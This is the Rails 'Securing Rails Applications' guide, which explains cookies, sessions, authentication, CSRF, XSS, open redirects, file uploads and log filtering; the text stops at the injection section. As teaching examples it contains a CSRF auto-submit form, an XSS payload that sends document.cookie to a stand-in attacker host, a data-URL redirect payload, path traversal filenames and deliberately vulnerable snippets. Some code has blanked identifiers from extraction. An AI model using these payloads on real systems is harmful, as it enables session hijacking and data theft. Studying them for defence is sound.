DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.
Securing Rails Applications
This guide describes common security problems in web applications and how to avoid them with Rails.
After reading this guide, you will know:
- How Rails secures data in cookies.
- The Rails Session and how it can be used as an attack vector.
- The security features implemented by the built-in authentication generator.
- Cross-Site Request Forgery (CSRF), Cross-Site Scripting (XSS) and similar attack strategies as well as the countermeasures
Railsprovides. - How to safely store and deliver user-uploaded files.
- How to mask sensitive information from
Railslogs. - SQL injection and similar attack strategies and how to defend against them.
- HTTP security headers and browser-enforced security features.
- How to securely store secret credentials in
Rails.
Introduction
Security is a key consideration in all web applications, and Rails
provides considerable countermeasures for common attack vectors right
out of the box. Even so, security must be evaluated throughout the
software development process as vulnerabilities enabling attacks
such as account hijacking, bypass of access control to sensitive
data, or the presentation of fraudulent content can be inadvertently
introduced despite Rails' built-in security features.
This guide will help you understand several attack strategies
and the countermeasures to defend against them using the
security features provided by Rails.
Always remember that security is a constantly moving target. Ensure you develop strategies catering to the worst-case scenarios. Never assume that an attacker will never be able to compromise a secret, or access a server or database. Assume the worst and develop defensive strategies to avoid losing control of your system.
The security landscape shifts and it is important to keep up to date to avoid missing critical security updates. Subscribe to theRails Security mailing list to receive updates about known vulnerabilities and fixes. Ruby security updates and details on how to receive notifications of new vulnerabilities can be found on theRuby website. See theAdditional Resources section for further security best practices.
Cookies
HTTP is a stateless protocol, meaning each request knows nothing about the preceding request.Cookies provide a mechanism to add state to the HTTP protocol enabling continuity between successive requests. Examples of data stored in cookies are the contents of a user's shopping basket, or a user's preferences.
Rails can create cookies with plain-text, signed, or encrypted
data. The cookies helper is available in Rails controllers
and provides key-value access to cookie data.
Plain Text Cookies
Data within plain-text cookies can be viewed and modified
by users. Use this type of cookie very sparingly and cautiously
as they are not secure.
# Create a plain text cookie.
[:] = "true"
Signed Cookies
Signed cookie data can be viewed by users, but is cryptographically signed which means it cannot be tampered with. Use these cookies to store information that is harmless for a user to view, but not modify — for example, a user's preferences.
# Create a signed cookie with a string value.
.signed[:theme] = "dark"
# Create a signed cookie with a hash value.
.signed[:preferences] = {
value: {
theme: "dark"
}
}
This is what a signed cookie's value might look like:
eyJfcmFpbHMiOnsibWVzc2FnZSI6ImV5SjBhR1Z0WlNJNkltUmhjbXNpZlE9PSIsImV4cCI6bnVsbCwicHVyIjoiY29va2llLnByZWZlcmVuY2VzIn19--42055b1af0de2d69e083678793f9fbf25b57a752
It is made up of two parts separated by --. The first part is
the data itself in Base64 encoding. It can be decoded
using Base64.strict_decode64.
The second part is a hash-based message authentication code (HMAC),
commonly referred to as a digest. This is calculated
using a key derived from your application's [secret_key_base][],
which is used to create aSHA1</a>
digest of the cookie's data.
When Rails decodes the cookie data, it calculates the digest once again and ensures it matches the value in the cookie string. This means that signed cookies cannot be tampered with, as the two digests will not match when the cookie data changes.
The algorithm used to calculate the digest can be changed using:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch. = "SHA256"
The algorithm also takes another input known as a salt. The
default value in this case is "signed cookie", but you can change
it for added security:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch. = "some other salt"
The signing logic is encapsulated byActiveSupport::MessageVerifier</a>.
You can use this class to generate securely signed strings for other
use cases within your application. The signing key is generated
using [ActiveSupport::KeyGenerator][].
Encrypted Cookies
Encrypted cookies offer another level of security over and above signed cookies. The data is encrypted as well as signed so users cannot view or modify the data without breaking encryption. Use encrypted cookies to store sensitive user data such as a remember token which persists their signed-in state.
# Creating a encrypted cookie with a string value.
.encrypted[:remember_token] = "token"
# Creating a encrypted cookie with a hash value.
.encrypted[:remember] = {
value: {
user_id: "id",
token: "token"
}
}
This is what an encrypted cookie's value looks like:
cH1pDGUPNNqmSXfAGFRA3ixa7MeR9XgSord1tezdKeX/FR0RTK8YuEbK6Al1/d0uids3Yrg5PymBkYLpzmX0A0KaGB8MvbWtKNITe3RhzDPUXPWPzgrOCGRNGhB34rYLDYfQrafx0=--4MtlsRIS9FpejOvt--O7mLRmA/ylvCim91S5jyVA==
It's made up of 3 parts separated by --:
- The encrypted cookie data in Base64 encoding.
- Theinitialization vector.
- The authentication tag, which is equivalent to the digest in signed cookies.
Cookies are encrypted withAES
inGalois/Counter Mode
using a 256-bit key (aes-256-gcm). The encryption key is derived
from the application's [secret_key_base][].
The encryption algorithm can be set to any
validOpenSSL::Cipher</a>
algorithm:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch. = "aes-256-xts"
The salt used to derive the encryption key is
"authenticated encrypted cookie", but can be changed:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch. = "some other salt"
The encryption mechanism is provided byActiveSupport::MessageEncryptor</a>.
You can use this class to create encrypted strings in
other parts of your application. The encryption key is
generated using [ActiveSupport::KeyGenerator][].
Rotating Encrypted and Signed Cookies
Rotation is used to gracefully upgrade the configuration for signed and encrypted cookies without invalidating all existing cookies. Adding a rotation sets up fallback configurations to verify a cookie, and upgrades older cookies to the latest configuration.
WARNING: If your application's secret_key_base has been compromised,
strongly consider changing it, as it means all strings secured
with ::ActiveSupport::MessageVerifier and ::ActiveSupport::MessageEncryptor,
including cookies, may now be vulnerable to attacks.
Run
bin/rails secret to generate a new secret_key_base.
Changing
the secret_key_base means signed and encrypted cookies can no longer
be decoded. Active Storage files will also be affected as Rails
uses signed IDs within file URLs so they can be safely exposed
to the public.
DO NOT use rotation in this case, as rotation
will gracefully upgrade compromised cookies instead of invalidating
them.
Use Rails.app.config.action_dispatch.cookies_rotations after
changing the configuration of your cookies to add a rotation
with the old values.
# config/initializers/cookies.rb
= # Regenerate old key
= # Regenerate old key
Rails.app.config.after_initialize do
Rails.app.config.action_dispatch..tap do ||
.rotate :signed,
.rotate :encrypted,
end
end
Cookies secured with the old keys will now gracefully be upgraded
to the new key. You can rotate any option passed
toActiveSupport::MessageVerifier.new</a>
andActiveSupport::MessageEncryptor.new</a>
Here's an example to rotate the algorithm used to calculate the digest of signed cookies:
# config/initializers/cookies.rb
# Update the configuration setting for the digest
Rails.app.config.action_dispatch. = "SHA256"
# Add a rotation to gracefully upgrade cookies signed with `SHA1`
Rails.app.config.after_initialize do
Rails.app.config.action_dispatch..tap do ||
.rotate :signed, digest: "SHA1"
end
end
When you're confident all your active users' cookies have been upgraded, you can remove the rotation.
Configuring Cookies
Cookies offer a variety ofconfiguration options which are used to secure and expire them. These options can be set when setting cookies in a Rails controller:
["dark_mode"] = {
value: "true",
same_site: :lax,
secure: true,
http_only: true,
expires: 1.year
}
See theAPI docs for all available usage options.
Sessions
A Rails session is a Ruby hash-like object holding data related to a single user's session while interacting with the application. User authentication data is usually held in the session so the user doesn't have to re-enter their credentials for every single request. Rails also stores_flash_ data in the session.
Rails creates a session object when the application is first accessed from a browser. By default, the session data is stored in anencrypted cookie whichlives as long as the browser session.
NOTE: Read more about sessions and how to use them inAction Controller Overview Guide.
Session Storage
The session is stored in a cookie by default, but alternative stores such as anActive Record store are available. Some issues worth considering when selecting your session store and the data within it are:
- Cookies have a size limit of 4 kB.
- Cookies are stored on the client, which may preserve their contents even after the cookie has expired.
- Cookies are temporary by nature. The server can set expiration time for the cookie, but the client may delete the cookie and its contents before that.
- Session cookies do not invalidate themselves and can be maliciously reused. Ensure you have a mechanism to invalidate a session cookie.
Even when using other stores, an ID which references the data in the session store needs to be stored in a cookie, so many security concepts discussed in this section still apply.
Session Hijacking
A common pattern for authentication in a web application is to store the user's ID and a token in a cookie after their email address and password has been validated. In Rails, this information would be stored in the session.
The ID and token is validated on each request and securely authenticates the user. However, this means that the session serves as a key to the application, and a malicious user can hijack the session and masquerade as a valid user.
In this section we'll look at some approaches an attacker could use to steal or otherwise take control of a user's session.
Cookie Sniffing
If a user accesses your application over an unencrypted connection, on an insecure network (such as public Wi-Fi), a malicious user may eavesdrop on the traffic and steal the session cookie.
Prevent this attack by ensuring your application is served over HTTPS only by enabling the below config option:
# config/environments/production.rb
config.force_ssl = true
This does 3 things:
- Sets theHSTS header on HTTP responses which tells the client to communicate with the host over HTTPS.
- Sets the
secureflag on session cookies. - Redirects all
http://requests tohttps://.
Additionally,enable theSecure attribute
on your cookies, so they're only transmitted over HTTPS. You'll need to do this
manually for all cookies except for the Rails session.
When using the HSTS header, the first ever request to website may be over HTTP, before being redirected to HTTPS; which may result in cookies being transmitted in plain text before the secure connection is established, providing an opportunity for cookie sniffing. Marking a cookie as secure prevents this attack vector.
Session Replays
Once a malicious actor has a user's session cookie, they can replay it to the application to masquerade as that user. Cookie sniffing is just one of many possible methods in which an attack might acquire a valid user's session cookie. Another possible scenario could be when a user hasn't logged out of the application on a public computer, leaving their cookie behind. Some browsers restore the session when they are re-opened so this may give an unauthorized actor access to a valid user's cookie.
No matter how an attacker has acquired a user's cookie, once they have it, it effectively gives them an all-access pass to use the application in the guise of a valid user.
To prevent this attack, always ensure that the data in a session can be invalidated. Depending on the data stored in your session, and the session store you're using, the exact method can vary.
When using a cookie store and storing authentication data in the session, always include a token which can be invalidated from the server. This way, when an attacker tries to replay a session cookie with an outdated token, authentication will fail.
Always consider this attack vector when storing other kinds of data in the session or in cookies. For example, never use a cookie to apply a discount for a user. They can save the cookie and replay it to get that discount in perpetuity.
Session Fixation
When using a session store other than the cookie store, only the session ID is stored in a cookie. This is used to retrieve the data from your chosen store on each request. This ID is stored in plain-text, hence it can be viewed and modified by the user — meaning that an attacker can use it to carry out a session fixation attack whereby they inject a known session id into a valid user's session causing their private session data to be written to the compromised ID.
Here's how such an attack may be carried out:
- The attacker creates a valid session ID by visiting your application's log in page.
- The attacker injects their session ID cookie into a user's browser. This could be done using a variety of techniques such ascross-site scripting (XSS), or if they have access to the victim's machine, they may even make the change in-person.
- The victim visits the application with the compromised session and logs in. Authentication data is written to that ID.
- The attacker can now use the session ID to masquerade as the victim.
Prevent this attack by resetting the session before storing sensitive data, such as authentication information:
class SessionsController < ApplicationController
def create
# create a new session ID
reset_session
# Log the user in ...
end
end
After resetting the session, the attacker's session ID becomes useless. TheRails authentication generator uses this approach.
Expiring and Invalidating Sessions
The longer a session lives, the more chances an attacker has to exploit it. Expiring sessions after period of inactivity, as well as a mechanism to invalidate sessions provides a backstop to reduce the risk of session hijacking attacks.
Depending on your session store, and the implementation of your application, the exact technique to do this will vary.
If you create database records for all active sessions (the Rails authentication generator does this), you could periodically delete session records older than a certain timeframe.
Here's an example Rake task which destroys session records older than 1 year, and it can be invoked at regular intervals using a mechanism such as a cron job.
namespace :authentication do
desc "Deletes sessions older than 1 year. Invoked every week via Cron."
task delete_sessions: :environment do
Session.where(created_at: ..1.year.ago).in_batches.destroy_all
end
end
A session stored in a cookie is immune to a fixation attack, but may be targeted with a replay attack. As such, your application should be able to invalidate session cookies. This could be done by storing a token in the session which is validated against a record in your database on every request — deleting that record would invalidate the session. Depending on your exact security requirements, the strategy will vary, but the key aspect is that session cookies should never be permanent.
Identity and Access Management
This section discusses the techniques used to secure user accounts, and potential attack vectors for malicious actors to take over control of a user's account or escalate privileges without authorization.
Authentication
An authentication system securely identifies the user of a web application. It is the foundation for securing user data and is part of most modern web applications.
Rails has an authentication generator built-in, which provides the base for your authentication system. See theGetting Started guide and theSign Up and Settings guide for details on how to use the generator.
In this section, we'll focus on the security aspects of authentication.
Secure Passwords
The {User} model created by the authentication generator usesbcrypt to calculate asecure hash of the password to store in the database. Storing the password in plain-text is insecure because an attacker who has gained access to the database or partial data within it could retrieve the password and masquerade as a legitimate user.
The hashing process is computationally too expensive to reverse, meaning the original password cannot be recovered from the hash. The hashing algorithm is determininstic and hence will always produce the same output for a given input. When a user attempts to log in, we hash the supplied password and compare it to the hash in the database.
Rails abstracts this process with thehas_secure_password</a>
method. This can be added to Active Record models to automate
the hashing of passwords and generate methods to securely
compare password hashes.
class User < ApplicationRecord
has_secure_password
# ...
end
{has_secure_password} adds the following validations automatically:
- Password must be present.
- Password length should be less than or equal to 72 bytes.
- Optional confirmation of password (provided in the {password_confirmation} attribute).
It doesn't add validations for minimum length or password complexity.
User.create(
email: "user@example.com",
password: "password123$",
password_confirmation: "password123$"
)
Strong Passwords
Requiring a strong password during the sign up process can help mitigate the effectiveness of brute-force or dictionary attacks. The National Institute of Standards and Technology (NIST) has compiled a set ofpassword guidelines](https://pages.nist.gov/800-63-4/sp800-63b.html) — summarized in [this article by 1Password — for web application developers to enforce.
Implementing these guidelines offers your users a baseline level of security against these attacks. You can also add an additional layer by verifying whether a user's password has appeared in a known data breach using the freeHave I Been Pwned API: https://haveibeenpwned.com/API/v3#PwnedPasswords
Securely Validating Password Hashes
Use [authenticate_by][] to retrieve and authenticate the user
using their password.
class SessionsController < ApplicationController
def create
if user = User.authenticate_by(params.permit(:email_address, :password))
# Authentication successful, log the user in
else
# Authentication failed
end
end
end
This method cryptographically digests the password regardless of whether a {User} record is found. This mitigatestiming-based enumeration attacks which an attacker could use to determine whether or not a {User} exists in the system without knowing their password.
The {authenticate} instance method may also be used to validate passwords, however this method is vulnerable to timing attacks:
if user = User.find_by(email_address: email_address) &&
user.authenticate(password)
# ...
end
In the above example, the method will run marginally faster if a user
with the supplied email doesn't exist. This can be measured by attackers,
and hence we use [authenticate_by][] for added security.
Brute-Forcing Attacks
Abrute-force attack uses trial-and-error to guess a user's credentials. An attacker may have acquired a list of usernames and passwords through illicit means and use that to attack your application. If any of the usernames and passwords from that list match credentials in your application, the attacker can take control of that account.
Adictionary attack may also be used to guess insecure passwords.
The automated tools which carry out such attacks vary in sophistication, but there are some basic steps you can take to ensure you application is protected. More advanced attacks may required specialist defenses.
Rate-limiting
A basic brute-force attack might be executed using a script running on an attacker's machine. This can be mitigated using Rails' rate limiter:
class SessionsController < ApplicationController
rate_limit to: 10, within: 3.minutes, only: :create
end
Therate_limit</a> method counts requests
from a given remote IP and will raise an
{ActionController::TooManyRequests} error when the limit is exceeded.
Consult theAPI docs for complete
usage information.
You can also use aCAPTCHA to restrict access after a certain number of failed login attempts.
NOTE: Rate-limiting and similar techniques are not a bullet-proof defence against automatic programs, because these programs may frequently change their IP address to subvert such rules. However, it raises the barrier required for an attack.
Generic Error Messages
Error messages displayed during sign up, log in, and password recovery should be generic and not offer information about whether or not an account exists. If an attacker can use the errors generated by your application to deduce whether a given account exists, they may use this technique to compile a list of accounts to use in a brute-force attack.
Password recovery attempts for email address without an associated account should fail silently and always show a generic success message.
The challenge is greater for a sign up page when handling duplicate sign ups. Depending on your application's requirements your approach may vary. You could always redirect a new sign up to a success page asking them to check their email for a confirmation link. In the case of a duplicate sign up, your application could notify the actual user via email of the duplicate sign up attempt.
Two-Factor Authentication
Using a second factor to authenticate a user adds an additional layer of security protecting against brute-force attacks. Even if an attacker has a valid password for a user, a secure second factor in addition to the password will protect the user's account. Time-based one-time passwords (TOTP) are a secure way to implement two-factor authentication.
Avoid using SMS-based one-time passwords as they are vulnerable to many attacks, includingremote SIM swap attacks. A thief may be able to hijack a user's phone number to receive SMS one-time passwords without ever touching their phone.
Rails doesn't currently have built-in support for TOTP and hence implementation details are out of scope for this guide.
Hardware Authenticators
For the highest level of security for your users, you can make use of hardware authenticators as the second factor, or to enable passwordless logins.
A hardware authenticator could be a USB device such as aYubiKey, or an authenticator built into the user's device such as a fingerprint or facial scanner.
TheWebAuthn protocol standardizes this approach on the web platform.
Account Hijacking
After an attacker has gained access to a user's account, they may attempt to lock the user out of their own account. They may have used one or more techniques discussed earlier in this guide to gain this access — such as stealing a user's session cookie. For the purpose of this discussion, the method of attack is not relevant, we assume the attacker has access to an account and the countermeasures we can use in this situation.
Passwords
An attacker may try to change the user's password to lock them out. Always require the old password and validate that before updating a password.
Changing the email address would effectively transfer ownership of the account. Your defence against this might vary depending on your application's account ownership model. One or more of the below steps will help mitigate this attack:
- Require a password when changing the email address.
- Validate the change by sending an email to the existing email address.
- Send a notification to the previous email of the change, with instructions for recovery.
Reset Session
Finally, always ensure there is a way to lock an attacker out of an account after they've gained access. Invalidating the data in the attacker's session cookie will prevent them from using it again.
The exact method will depend on the specifics of your authentication system. The best way to validate whether your defence works is to test the attack in a controlled scenario and then apply your countermeasures.
Privilege Escalation
Whenever a user requests a resource, always ensure they are authorized to access it. Consider the below controller and actions:
class ProjectsController < ApplicationController
# GET /projects
def index
@projects = Current.user.projects
end
# GET /projects/:id
def show
@project = Project.find(params[:id])
end
end
The projects index may only direct the user to projects they have access to, but there's nothing preventing them from manually changing the {id} in the URL to view a project they shouldn't be allowed to access. In this case, you could fix it by amending the query to load a project:
def show
@project = Current.user.projects.find(params[:id])
end
More complex web applications will require a more elaborate authorization layer with fine-grained access control. The key consideration is that access to all resources should be controlled and handled on the server. Never use JavaScript or front-end code for access control without server validation as all user input and front-end code can be manipulated.
Cross-Site Request Forgery (CSRF)
To carry out a cross-site request forgery (CSRF) attack, a malicious actor will lure a victim to an infected web page, potentially a website that they control. That web page contains code which makes requests to a different web application where the victim has an active authenticated session, and hence can theoretically carry out destructive operations disguised as a valid user.
Here's an example scenario:
-
Bob uses a project management application hosted at
https://projectmanagement-webapp.example.com, and is currently signed in. -
An attacker would like to compromise a project which Bob is working on, and sends him a phishing email with a link to a malicious website.
-
Bob inadvertently clicks the link.
-
The malicious web page contains a form to delete the project, and a script to submit it when the page loads:
<form action="https://projectmanagement-webapp.example.com/projects/1" method="POST" id="delete-project"> <input type="hidden" name="_method" value="delete"> </form> <script> document.addEventListener("DOMContentLoaded", () => { document.getElementById("delete-project").requestSubmit() }) </script> -
The cookies will be sent along with the request. Since Bob is signed in, the the project will be deleted.
Both Rails, and the web platform itself have defences against this kind of attack built-in. The next sections discuss some of these measures as well as additional steps you can take within your application to prevent CSRF vulnerabilities.
{SameSite} Cookies
TheSameSite attribute
can be defined in the Set-Cookie HTTP header to specify the contexts
in which the cookie should be transmitted. Rails session cookies are
set as SameSite=Lax, which is also the default value across browsers.
This means the cookie will only be sent with the HTTP request if it originates on the same site, or the user follows a link to your site.
Demonstrated practically, the session cookie will only be sent with HTTP requests in the following scenarios:
(we're assuming your Rails app is hosted at https://myrailsapp.example.com)
- A user types in
https://myrailsapp.example.comin their browser's address bar. - A user clicks a link on a page hosted at
https://myrailsapp.example.com. - A user follows a link to
https://myrailsapp.example.comfrom another external website.
The cookie will not be transmitted when a request originates on an
external website. For example, if an attacker tries to submit a
form , or make a {fetch} request to https://myrailsapp.example.com
from their own website, the session cookie will not be sent along
with the request.
This prevents an attacker from taking advantage of a user's active session in a web app to make unauthorised malicious requests when a victim inadvertently visits their infected website.
Further information on the {SameSite} attribute isavailable here.
Set the {SameSite} attribute on a cookie in a Rails controller using:
["dark_mode"] = {
value: "true",
same_site: :lax
}
Rails' Authenticity Token
Rails offers application-level protection against CSRF attacks by verifying a CSRF token on all requests except {GET}, {QUERY}, and {HEAD}.
A CSRF token is securely generated and stored the session. This token is used to generate an {authenticity_token} on each request. The token is automatically inserted into forms via a hidden input.
<input type="hidden" name="authenticity_token" value="Lb7wNkn7Ozyq9yc98VQuATDEvoPU3WBT8zzRIw8mBHZIUhANkM2DBJmdNCUtbNTaMrVzBrNttqFigrVFyEic6o" autocomplete="off">
Rails, by default, also renders tags containing the token in the
document's head for use in JavaScript requests.
<%# The default <code>app/views/layouts/application.html.erb</code> %>
<%# generated in a new Rails app %>
<!DOCTYPE html>
<html>
<head>
<%# ... %>
<%= csrf_meta_tags %>
<%# ... %>
</head>
<%# ... %>
</html>
{csrf_meta_tags} generates the following tags:
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="..." />
csrf-param documents the {name} of the hidden input for JavaScript
code which dynamically creates {FormData}, and csrf-token contains
the token itself which can be sent in a X-CSRF-Token HTTP header to
validate the request.
NOTE: TheTurbo andrequest.js JavaScript libraries
both use the value of csrf-param to read a cookie with that name which
is expected to contain the CSRF token. They fallback to the value of the
csrf-token meta tag if no such cookie exists. They add the token to the
request using the X-CSRF-Token HTTP header. This is an additional valid
use case for the csrf-param meta tag.
Rails compares this token with the one in the session to ensure the request is valid.
Along with the {SameSite} cookie attribute, this defends agains CSRF attacks because an attacker won't have access to the session or CSRF token to authenticate their malicious requests.
INFO: Rails masks the authenticity token when injecting it into the
page, ensuring it's different for each request even though the
underlying CSRF token remains the same. See themask_token</a>
andunmask_token</a> methods for
deeper insight into how this works.
This defence is enabled by default, but can be disabled using:
# config/initializers/forgery_protection.rb
Rails.app.config.action_controller.default_protect_from_forgery = false
The behavior of this defence can be configured using:
# config/initializers/forgery_protection.rb
# Raise an exception when token verification fails
Rails.app.config.action_controller.default_protect_from_forgery_with :exception
The behavior can be changed for specific controllers
usingprotect_from_forgery</a>:
class ApplicationController < ActionController::Base
# Reset the session when token verification fails
protect_from_forgery with: :reset_session
# or
# Return an empty session when token verification fails
protect_from_forgery with: :null_session
end
The default behavior is :exception.
NOTE: :exception halts code execution and follows the code path for error handling,
whereas :reset_session and :null_session will still run the controller action.
Further information on all available options is available in theAPI docs.
Appropriate Use of HTTP methods
Rails doesn't verify the authenticity token for {GET}, {HEAD}, and {QUERY} requests because they should never modify business data. These HTTP methods requests should only be used for reads, not writes.
A list of all HTTP methods and how they should be used can beviewed on the MDN docs.
WARNING: To benefit from Rails' CSRF protections, never use the {GET}, {HEAD}, or {QUERY} verbs for endpoints which modify data in your application .
Cross-Site Scripting (XSS)
Across-site scripting (XSS) vulnerability allows attackers to inject malicious client-side scripts into a web page. An attacker can misuse any kind of user input in a web application to attempt an XSS attack. Without proper sanitization, inputs such as comments, message posts, search boxes etc. can all serve as entry points to XSS attacks.
TIP:OWASP considers the term cross-site scripting to be a misnomer. It initially was used for stealing data cross-site, but gradually started to include other forms of data injection attacks.
Here's an example XSS attack scenario:
- An attacker visits a public message board and creates a post
including hidden malicious JavaScript code such as
<script>alert('Hello');</script>. - The web application doesn't sanitize the contents of the post and saves it.
- The application renders the raw contents of the post as shown below, meaning that the malicious JavaScript executes when a victim views the page.
<%= raw post.body %>
The malicious code may steal cookies, hijack the session, redirect the victim to a phishing website, display advertisements for the benefit of the attacker, change elements on the website to get confidential information, or install malicious software through vulnerabilities in the web browser. The scope of misuse is endless.
Sanitizing User Input
The most common entry point for an XSS attack is injecting HTML, CSS, or JavaScript into a web page. Prevent this by sanitizing all user input to ensure it's safe.
Rails uses therails-html-sanitizer</a>
gem to parse and sanitize HTML and CSS input — only allowing a set of
safe tags. TheActionView::Helpers::SanitizeHelper</a>
provides a number of methods which invoke rails-html-sanitizer
under the hood to simplify sanitization in your HTML template.
You can safely render user input in an HTML template using:
<%= sanitize @comment.body %>
This will strip any unsafe tags to prevent XSS attacks. Other helpers
available are: [sanitize_css][], [strip_links][], and [strip_tags][].
See theAPI docs
for complete usage information.
Action Text automatically uses a sanitizer on bothcontent andattachments.
Escaping Output
As an alternative to sanitizing user input, strings can be escaped
before being rendered to HTML to prevent XSS code execution.
Escaping a string replaces HTML characters like < and > with
their uninterpreted representations: <, > etc. Rails does
this by default, but you can use the {html_escape} method to be explicit
about it:
<%= html_escape @snippet.contents %>
<%# or %>
<%= h @snippet.contents %>
<%# or %>
<%= @snippet.contents # Rails escapes by default %>
This technique can be useful when you need to safely render HTML as-is in the page, rather than execute it.
Escaping JavaScript
Legacy applications may return JavaScript responses which are executed by theRails UJS library.
When using such responses, escape carriage returns and double quotes usingescape_javascript</a>. This prevents quote and return characters
within rendered templates from breaking the JavaScript string or inserting malicious
code within in:
document.querySelector("#posts_count").innerHTML = '<%= escape_javascript render 'posts/count' %>'
{escape_javascript} is aliased as j:
document.querySelector("#posts_count").innerHTML = '<%= j render 'posts/count' %>'
Cookie Theft
An XSS attack could target a user's cookies. Cookies can only be read from the same domain, so an attacker cannot lure a victim to their website to read cookies from a completely different domain. Since an XSS attack relies on injecting code into another site, it could be used to steal a user's cookies.
The below injection makes a request to the attacker's website with all of a user's cookies. They can then inspect their logs to retrieve the cookie and use it to perform a variety to attacks to take control of the user's account.
<script>document.write('<img src="https://steal-a-cookie.example.com/' + document.cookie + '">');</script>
Use theHttpOnly attribute
on the Set-Cookie header to prevent a cookie from being accessed
using JavaScript. Such cookies will only be sent with HTTP requests
(including {fetch} and AJAX), but cannot be read using document.cookie.
Rails session cookies are {HttpOnly} by default. Create an {HttpOnly} cookie in a Rails controller using:
["dark_mode"] = {
value: "true",
http_only: true
}
Content Security Policy
This mitigates XSS attacks as the browser will only execute code from verified sources. See theContent Security Policy section for further details.
Open Redirects
Redirecting users can be a vulnerability when user input is injected into the destination URL. Rails prevents these attacks by only allowing redirects to paths on the same domain.
For example, consider the below action which redirects a user to another path supplied in a URL parameter:
# GET /comments
def show
if params[:comment_path]
redirect_to params[:comment_path]
end
end
The legitimate use case for the above action is to send the user to a specific comment:
/comments?comment_path=/comment/42
An attacker can misuse the parameter to inject their own malicious page to which the user will be redirected.
/comments?comment_path=https://malicious.example.com
Even worse, the attacker could redirect to adata URL which will directly display its contents in the browser. The below example shows a redirect to a Base64 encoded script which displays an alert:
/comments?comment_path=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
The browser will execute the script and display an alert to the user. This example is harmless but this technique could be used to display a phishing page, download a file onto the user's machine, or any number of other malicious actions.
You may choose to use the HTTP {Referer} header to redirect the user back to where they came from:
redirect_to request.headers[:referer]
This technique is also vulnerable to an open redirect attack because the {Referer} header can be spoofed since HTTP is a plain-text protocol.
Rails will raise an exception when redirecting to a data URL or an external URL, which mitigates against all the above attacks.
Disabling Redirect Protection
External redirects to other domains or data URLs can be explicitly enabled using the {allow_other_host} option:
redirect_to "https://some-other.site", allow_other_host: true
WARNING: Use {allow_other_host} cautiously, and avoid injecting user input into the destination URL when using this technique. If you must include user input, sanitize it to ensure it's an expected value. Enabling {allow_other_host} will create an open redirect vulnerability without the proper care.
User Uploaded Files
File uploads can offer attackers a way into your server with the ability to manipulate files and perform other destructive operations. Rails includesActive Storage which manages file uploads and will protect you from the attacks described in this section. However, these techniques are worth bearing in mind as you build file uploads into your application.
File Names
An attacker can craft a filename which includes a relative path
to overwrite an important file on your server. If your application
stores uploaded files at /var/www/uploads, the attacker might
try to upload a file with the name ../../../my-app/config/master.key
to overwrite a file in a completely different location.
A filename, as with all other kinds of user input should be sanitized before use.
Active Storage has afilename sanitizer which it applies to all uploaded files to prevent such attacks.
Executable Code in File Uploads
Rails applications are typically served through a reverse proxy
powered by a web server such as Nginx or Caddy. The Rails
/public folder is often exposed directly through this server
to serve your application's assets efficiently reducing the load
on your Rails application.
Depending on the server's configuration, an attacker may execute code if a file with a matching extension is requested from a publicly available directory tree. For example, PHP and CGI files contain code and might be executed when requested.
If you application stores file uploads in a publicly available
directory, an attacker could upload a malicious file called
virus.cgi, and when it's requested, your web server will execute
it instead of returning it to the client.
To prevent these attacks, never store uploaded files in a publicly available folder and ensure your server is configured to prevent arbitrary code execution.
Always sanitize the name and type of uploaded files. Active Storage handles this automatically.
File Downloads
Unsanitized user input to create file downloads can allow a malicious
user to access secure files from your server. Thesend_file</a>
method can be user to trigger file downloads. The below snippet
shows an example of a download with unsanitized input:
send_file("/var/www/uploads/" + params[:filename])
An attacker could pass a value like ../../../etc/passwd to
the {filename} param to download the server's login information.
Sanitizing the file name supplied by the user is the simplest
way to prevent this attack.
A more robust solution is to store the user facing file names in the database and renaming uploaded files to a random string or ID which is also tracked in the database.
Active Storage uses this approach to prevent such attacks.
Media Processing of File Uploads
Active Storage uses the {ffmpeg} utility to generate video previews, and {ffprobe} to extract video and audio metadata. Neither tool is shipped by Rails and are external binaries installed on the Rails server.
A stock build of these tools includes several hundred decoders and demuxers but a Rails application likely only uses a handful of these. Blobs are analyzed on upload by default, so these tools may automatically read malicious bytes uploaded by an attacker.
Both {ffmpeg} and {ffprobe} decode untrusted media in memory-unsafe code. Narrow the attack surface by restricting the codecs and formats they will accept.
For example, an application that accepts only H.264 video with AAC audio would configure:
# config/production.rb
config.active_storage.video_preview_input_arguments = "-codec_whitelist h264,aac"
config.active_storage.ffprobe_arguments = "-codec_whitelist h264,aac"
Alongside -codec_whitelist, -f forces a single demuxer
and -protocol_whitelist restricts the protocols an input may
reference.
Every codec present in supported files must appear in the list,
including audio codecs. {ffprobe} exits with an error on a file that
uses any other codec, and analysis of that file then raises
{JSON::ParserError}. Codec names vary between {ffmpeg} builds, so
check the list against ffmpeg -decoders for the build you deploy.
Log Filtering
Rails logs all requests by default, and these may contain sensitive
data such as login credentials, authentication tokens, or credit
card numbers. If an attacker were to get access to these logs,
they'd have all this user data in plain text. Rails has afilter_parameters</a>
configuration option which is used to mask sensitive information:
# config/initializers/filter_parameter_logging.rb
# Be sure to restart your server when you modify this file.
# Configure parameters to be partially matched (e.g. passw matches password) and filtered from the log file.
# Use this to limit dissemination of sensitive information.
# See the ActiveSupport::ParameterFilter documentation for supported notations and behaviors.
Rails.app.config.filter_parameters += [
:passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn, :cvv, :cvc
]
Matching parameters will be excluded from the logs and replaced
with [FILTERED]. They will also be hidden when called {inspect}
on an Active Record object so sensitive data is protected when
sending traces to monitoring tools:
User.last.inspect
# => #<User id: 247, email: [FILTERED] ...>
If your application generates URLs containing sensitive information when redirecting the user, you can omit the sensitive information from the logs using {filter_redirect}:
# config/initializers/filter_parameter_logging.rb
Rails.app.config.filter_redirect += [
"s3.amazonaws.com", /token/
]
The redirect filter tests whether URLs include strings or match regular expressions
defined in the above array. Matched URLs will be replaced in the logs with [FILTERED].
Injection
Injection is a class of attacks where an attacker crafts a malicious input with the intent of injecting it into application code to steal, manipulate, destroy, or otherwise cause damage to user data.
Allowlists and Denylists
Allowlists and denylists can be used to sanitize user input to ensure they don't contain anything malicious. Always prefer allowlists as this defines a narrow set of permitted inputs. A denylist would have to cover every possible input except what's expected which is not usually feasible to maintain.
